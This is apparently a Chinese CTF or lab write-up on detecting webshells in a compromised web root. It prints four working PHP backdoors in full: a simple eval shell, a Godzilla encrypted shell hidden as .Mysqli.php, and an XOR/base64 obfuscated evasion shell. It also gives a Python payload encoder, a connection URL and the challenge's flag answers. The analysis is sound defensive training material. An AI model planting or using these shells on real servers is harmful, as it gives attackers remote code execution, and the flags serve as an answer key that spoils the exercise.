WebShell 查杀
- 靶机账号密码:root/xjwebshell
- 要求如下:
- 黑客 WebShell 里面的 flag;(flag {xxxxx-xxxx-xxxx-xxxx-xxxx})
- 黑客使用的什么工具的 Shell;(github 地址的 md5,flag {md5})
- 黑客隐藏 Shell 的完整路径的 md5;(flag {md5})
- 黑客免杀马完整路径的 md5;(flag {md5})
1 黑客 WebShell 里面的 flag
[!Warning]
由于靶机按时扣费,所以一进去先把文件 dump 下来。
打包命令如下:
1
| tar zcvf html.tar.gz /var/www/html
|
打包完成后,解压结果如下:

由于需要查找 WebShell,这里使用 D 盾扫一扫:

发现了四个可疑文件,依次查看其内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| # shell.php <?php phpinfo();@eval($_REQUEST[1]);?>
# gz.php <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; }
$payloadName='payload'; $key='3c6e0b8a9c15224a'; $data=file_get_contents("php://input"); if ($data!==false){ $data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo encode(@run($data),$key); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
# top.php <?php
$key = "password";
$fun = base64_decode($_GET['func']); for($i=0;$i<strlen($fun);$i++){ $fun[$i] = $fun[$i]^$key[$i+1&7]; } $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun);
# .Mysqli.php <?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $payloadName='payload'; $key='3c6e0b8a9c15224a'; $data=file_get_contents("php://input"); if ($data!==false){ $data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo encode(@run($data),$key); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } }
|
可以很明显的看出这四个具有 WebShell 特征,其中 gz.php 中还发现了 flag:
1
| flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
|
2 黑客使用的什么工具的 Shell
这里需要判断黑客使用的工具是什么,直接把代码放入 github 中查询:

可以很明显的发现是一个 Godzilla 木马,工具的 Github 地址为:
可得到 flag 为:
1
| flag{39392de3218c333f794befef07ac9257}
|
3 黑客隐藏 Shell 的完整路径的 md5
根据上述 D 盾扫描出的结果,可以得出隐藏的 Shell 路径为:
1
| /var/www/html/include/Db/.Mysqli.php
|
可得到 flag 为:
1
| flag{aebac0e58cd6c5fad1695ee4d1ac1919}
|
4 黑客免杀马完整路径的 md5
对于免杀马而言,一般会经过一些加密混淆,简单查看 top.php 比较符合需求:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$key = "password";
$fun = base64_decode($_GET['func']); for($i=0;$i<strlen($fun);$i++){ $fun[$i] = $fun[$i]^$key[$i+1&7]; } $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun);
|
对于上述代码而言,正对 func 参数值进行 base64 解码后,进入 for 循环。在 for 循环内使用 $key 进行循环异或处理,产生一个正常的命令执行字符串。
可以正对其进行逆向推理,得出一下 Python 加密代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import base64
def prepare_func(data, key): # 确保输入数据和密钥是字节类型 if isinstance(data, str): data = data.encode() if isinstance(key, str): key = key.encode() encrypted = bytearray() for i in range(len(data)): # 计算密钥的索引 key_index = (i + 1) & 7 # 执行异或操作 encrypted_byte = data[i] ^ key[key_index] encrypted.append(encrypted_byte) # 将字节数组转换为 Base64 编码 return base64.b64encode(bytes(encrypted)).decode()
# 示例用法:输入数据并使用固定密钥 fixed_key = "password" # 固定密钥 input_data = input("Enter the data to encrypt: ").encode()
func = prepare_func(input_data, fixed_key) print("Generated func:", func)
|
WebShell 连接方式如下:
1
| top.php?fuc=ERsDHgEUC1hI&func2=sert
|

可以得出免杀的 Shell 路径为:
1
| /var/www/html/wap/top.php
|
可得到 flag 为:
1
| flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
|